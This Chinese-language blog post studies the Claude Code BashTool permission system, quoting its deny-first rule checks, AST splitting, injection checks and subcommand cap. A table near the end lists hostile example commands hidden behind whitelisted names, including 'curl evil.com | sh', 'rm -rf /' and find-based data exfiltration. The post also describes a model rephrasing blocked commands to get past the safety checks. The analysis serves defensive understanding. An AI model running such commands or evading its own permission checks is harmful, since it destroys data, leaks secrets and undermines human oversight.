Claude code学习11 BashTool

BashTool的防线

工具 Harness 的职责是把模型的语义意图转换成确定性的权限输入,而不是相信模型自述“这是安全的”。

BashTool

BashTool 的输入 schema 经过精心设计,包含多个字段:

// src/tools/BashTool/BashTool.tsx
const fullInputSchema = lazySchema(() =>
  z.strictObject({
    command: z.string().describe("The command to execute"),
    timeout: semanticNumber(z.number().optional()).describe(`Optional timeout in milliseconds (max ${getMaxTimeoutMs()})`),
    description: z.string().optional().describe("Clear, concise description of what this command does in active voice..."),
    run_in_background: semanticBoolean(z.boolean().optional()).describe("Set to true to run this command in the background."),
    dangerouslyDisableSandbox: semanticBoolean(z.boolean().optional()).describe("Set this to true to dangerously override sandbox mode..."),
    _simulatedSedEdit: z
      .object({
        filePath: z.string(),
        newContent: z.string(),
      })
      .optional()
      .describe("Internal: pre-computed sed edit result from preview"),
  })
);

bash tool是一个使用频率非常高的工具,像是linux任何教材都会叫你打开terminal,输入一条条指令,不同于ui,bash tool很明显是更加符合目前agent的工具的一个选择,毕竟做多模态的任务去模拟鼠标点击可不如直接输入命令快且成本低

bash tool也有十分不好的一点,那就是它不够安全,虽然在linux或者其他类似的终端中有权限这一概念,但是agent很明显就是一个遇到问题想办法解决问题的工具,如果rm -f /没有成功,sudo一下呢?这里就衍生出来一个问题,怎么样使用bash tool安全呢?

对于一些显而易见的埋雷命令,例如echo ok && rm -rf target,你只检查了echo肯定就是死翘翘了

BashTool 权限逻辑面对的是表达力极高的 Shell 字符串。生产级 Agent 不能把它当作一段普通文本做前缀白名单,而要先还原成可审计的结构化动作:管道、逻辑运算符、命令替换、脚本解释器和包管理脚本都可能把真实动作藏在第二层。

判断风险不能只看首词。echo ok && rm -rf target、npm test || curl ...、python -c ... 都能让危险动作出现在外层命令名之后;如果只按 echo、npm 或 python 判定,权限系统就会被复合语法绕过。

源码优先使用 AST 和 splitCommand 提取子命令,并对每个子命令执行规则匹配。核心不变量是 deny-first:任一子命令命中拒绝规则,整条复合命令必须熔断,外层 full-command ask 不能把内部 deny 降级成询问。

AST 解析失败时,系统不会乐观放行,而是回退到保守注入检查;即使处于 sandbox 或 autoAllowBashIfSandboxed 路径,也必须服从显式 deny、ask 和企业策略。沙盒降低执行面的破坏半径,但不能替代权限语义。

BashTool 是最高风险工具之一,因为 Shell 字符串可以把读取、写入、网络、进程控制和删除动作混在一条输入里。源码的重点不是执行命令,而是在执行前把命令字符串还原成可审计的安全决策单元。

下面是claude code处理单条bash命令的源码

/**
 * Processes an individual subcommand and applies prefix checks & suggestions
 */
export async function checkCommandAndSuggestRules(
  input: z.infer<typeof BashTool.inputSchema>,
  toolPermissionContext: ToolPermissionContext,
  commandPrefixResult: CommandPrefixResult | null | undefined,
  compoundCommandHasCd?: boolean,
  astParseSucceeded?: boolean
): Promise<PermissionResult> {
  // 1. Check exact match first
  const exactMatchResult = bashToolCheckExactMatchPermission(input, toolPermissionContext);
  if (exactMatchResult.behavior !== "passthrough") {
    return exactMatchResult;
  }

  // 2. Check the command prefix
  const permissionResult = bashToolCheckPermission(input, toolPermissionContext, compoundCommandHasCd);
  // 2a. Deny/ask if command was explictly denied/asked
  if (permissionResult.behavior === "deny" || permissionResult.behavior === "ask") {
    return permissionResult;
  }

  // 3. Ask for permission if command injection is detected. Skip when the
  // AST parse already succeeded — tree-sitter has verified there are no
  // hidden substitutions or structural tricks, so the legacy regex-based
  // validators (backslash-escaped operators, etc.) would only add FPs.
  if (!astParseSucceeded && !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK)) {
    const safetyResult = await bashCommandIsSafeAsync(input.command);

    if (safetyResult.behavior !== "passthrough") {
      const decisionReason: PermissionDecisionReason = {
        type: "other" as const,
        reason:
          safetyResult.behavior === "ask" && safetyResult.message
            ? safetyResult.message
            : "This command contains patterns that could pose security risks and requires approval",
      };

      return {
        behavior: "ask",
        message: createPermissionRequestMessage(BashTool.name, decisionReason),
        decisionReason,
        suggestions: [], // Don't suggest saving a potentially dangerous command
      };
    }
  }

  // 4. Allow if command was allowed
  if (permissionResult.behavior === "allow") {
    return permissionResult;
  }

  // 5. Suggest prefix if available, otherwise exact command
  const suggestedUpdates = commandPrefixResult?.commandPrefix
    ? suggestionForPrefix(commandPrefixResult.commandPrefix)
    : suggestionForExactCommand(input.command);

  return {
    ...permissionResult,
    suggestions: suggestedUpdates,
  };
}

可以看出流程大体如下

  1. 检查命令是否被精确匹配,如果被精确匹配则返回结果
  2. 检查前缀,是否被禁止
  3. 如果没有做AST的话,那么进行命令注入检查
  4. 如果命令被允许了,通行
  5. 如果有建议的话,生成建议规则,告诉llm怎么样可以通行

这个函数的核心职责其实是两个:

  1. 判断权限:返回 allow / ask / deny / passthrough
  2. 生成建议规则:当结果是 passthrough(需要用户确认)时,给 UI 提供”以后不再询问”的规则建议

bashToolCheckPermission

export const bashToolCheckPermission = (
  input: z.infer<typeof BashTool.inputSchema>,
  toolPermissionContext: ToolPermissionContext,
  compoundCommandHasCd?: boolean,
  astCommand?: SimpleCommand
): PermissionResult => {
  const command = input.command.trim();

  // 1. Check exact match first
  const exactMatchResult = bashToolCheckExactMatchPermission(input, toolPermissionContext);

  // 1a. Deny/ask if exact command has a rule
  if (exactMatchResult.behavior === "deny" || exactMatchResult.behavior === "ask") {
    return exactMatchResult;
  }

  // 2. Find all matching rules (prefix or exact)
  // SECURITY FIX: Check Bash deny/ask rules BEFORE path constraints to prevent bypass
  // via absolute paths outside the project directory (HackerOne report)
  // When AST-parsed, the subcommand is already atomic — skip the legacy
  // splitCommand re-check that misparses mid-word # as compound.
  const { matchingDenyRules, matchingAskRules, matchingAllowRules } = matchingRulesForInput(input, toolPermissionContext, "prefix", {
    skipCompoundCheck: astCommand !== undefined,
  });

  // 2a. Deny if command has a deny rule
  if (matchingDenyRules[0] !== undefined) {
    return {
      behavior: "deny",
      message: `Permission to use ${BashTool.name} with command ${command} has been denied.`,
      decisionReason: {
        type: "rule",
        rule: matchingDenyRules[0],
      },
    };
  }

  // 2b. Ask if command has an ask rule
  if (matchingAskRules[0] !== undefined) {
    return {
      behavior: "ask",
      message: createPermissionRequestMessage(BashTool.name),
      decisionReason: {
        type: "rule",
        rule: matchingAskRules[0],
      },
    };
  }

  // 3. Check path constraints
  // This check comes after deny/ask rules so explicit rules take precedence.
  // SECURITY: When AST-derived argv is available for this subcommand, pass
  // it through so checkPathConstraints uses it directly instead of re-parsing
  // with shell-quote (which has a single-quote backslash bug that causes
  // parseCommandArguments to return [] and silently skip path validation).
  const pathResult = checkPathConstraints(
    input,
    getCwd(),
    toolPermissionContext,
    compoundCommandHasCd,
    astCommand?.redirects,
    astCommand ? [astCommand] : undefined
  );
  if (pathResult.behavior !== "passthrough") {
    return pathResult;
  }

  // 4. Allow if command had an exact match allow
  if (exactMatchResult.behavior === "allow") {
    return exactMatchResult;
  }

  // 5. Allow if command has an allow rule
  if (matchingAllowRules[0] !== undefined) {
    return {
      behavior: "allow",
      updatedInput: input,
      decisionReason: {
        type: "rule",
        rule: matchingAllowRules[0],
      },
    };
  }

  // 5b. Check sed constraints (blocks dangerous sed operations before mode auto-allow)
  const sedConstraintResult = checkSedConstraints(input, toolPermissionContext);
  if (sedConstraintResult.behavior !== "passthrough") {
    return sedConstraintResult;
  }

  // 6. Check for mode-specific permission handling
  const modeResult = checkPermissionMode(input, toolPermissionContext);
  if (modeResult.behavior !== "passthrough") {
    return modeResult;
  }

  // 7. Check read-only rules
  if (BashTool.isReadOnly(input)) {
    return {
      behavior: "allow",
      updatedInput: input,
      decisionReason: {
        type: "other",
        reason: "Read-only command is allowed",
      },
    };
  }

  // 8. Passthrough since no rules match, will trigger permission prompt
  const decisionReason = {
    type: "other" as const,
    reason: "This command requires approval",
  };
  return {
    behavior: "passthrough",
    message: createPermissionRequestMessage(BashTool.name, decisionReason),
    decisionReason,
    // Suggest exact match rule to user
    // this may be overridden by prefix suggestions in `checkCommandAndSuggestRules()`
    suggestions: suggestionForExactCommand(command),
  };
};

根据注释主要就是这几点

  1. 精确匹配 deny/ask
  2. 前缀/通配符 deny,ask
  3. 路径约束 deny/ask
  4. 精确匹配 allow
  5. 前缀/通配符 allow,sed 约束
  6. 模式特定处理(acceptEdits 等)
  7. 只读自动允许
  8. passthrough(需要弹窗)
  • bashToolCheckPermission:做核心权限判断(规则 + 路径 + 模式 + 只读)
  • checkCommandAndSuggestRules:在 bashToolCheckPermission 基础上,再包一层命令注入检查和建议规则生成

Auto 分类器熔断

什么是”熔断” 场景:模型尝试执行一条命令,被安全系统拒绝。模型换个写法再试(比如 $(cmd) 被拒,换成 cmd),再被拒,再换… 熔断机制:连续拒绝同一类高危命令达到一定次数后,系统不再让模型继续尝试,直接要求用户手动审批。 为什么:防止模型消耗大量 token 在”换语法绕过”上,也让用户可以不要一定点yes,看起来更聪明一些XD

为什么”命令名在只读白名单里”仍不足以证明整条 Bash 安全?

因为bash命令本身就不安全

你以为的安全 实际的危险
cat file.txt cat <(rm -rf /)
diff a b diff <(curl evil.com \| sh) b
git status 仓库 .git/configcore.fsmonitor = "恶意命令"
find . find . -exec sh -c 'curl 外泄数据' _ {} \;
xargs echo xargs -I{} sh -c 'eval "{}"'

命令名在只读白名单里,并不能保证整条 Bash 安全。 Bash、Zsh、PowerShell 和 here-document 的解析特性会改变攻击面,每一个都不太一样 不要用命令名白名单替代参数验证。危险 flag 可以让只读工具执行外部程序或访问意外路径

AST最多拆几层

// CC-643: On complex compound commands, splitCommand_DEPRECATED can produce a
// very large subcommands array (possible exponential growth; #21405's ReDoS fix
// may have been incomplete). Each subcommand then runs tree-sitter parse +
// ~20 validators + logEvent (bashSecurity.ts), and with memoized metadata the
// resulting microtask chain starves the event loop — REPL freeze at 100% CPU,
// strace showed /proc/self/stat reads at ~127Hz with no epoll_wait. Fifty is
// generous: legitimate user commands don't split that wide. Above the cap we
// fall back to 'ask' (safe default — we can't prove safety, so we prompt).
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50;

答案是50条子命令

// CC-643: Cap subcommand fanout. Only the legacy splitCommand path can
// explode — the AST path returns a bounded list (astSubcommands !== null)
// or short-circuits to 'too-complex' for structures it can't represent.
if (astSubcommands === null && subcommands.length > MAX_SUBCOMMANDS_FOR_SECURITY_CHECK) {
  logForDebugging(`bashPermissions: ${subcommands.length} subcommands exceeds cap (${MAX_SUBCOMMANDS_FOR_SECURITY_CHECK}) — returning ask`, {
    level: "debug",
  });
  const decisionReason = {
    type: "other" as const,
    reason: `Command splits into ${subcommands.length} subcommands, too many to safety-check individually`,
  };
  return {
    behavior: "ask",
    message: createPermissionRequestMessage(BashTool.name, decisionReason),
    decisionReason,
  };
}

对于deny和ask的优先级

deny 是已做出的决定,ask 是请求做出决定,allow 是无异议放行。因此 deny 永远优先;当无 deny 且系统不确定时,降级为 ask;只有当既无 deny 也无 ask 顾虑时,才允许。

  • ask 在这里是”fail-closed”的体现,不是”半允许”。降级为 ask = 已阻止,等待批准。
  • deny 是”hard no”,不需要用户再确认,因为它本身就是一次已经做出的决定。
  • 因此优先级不可能是 ask > deny,只能是 deny > ask > allow(在不确定区域)。



Enjoy Reading This Article?

Here are some more articles you might like to read next: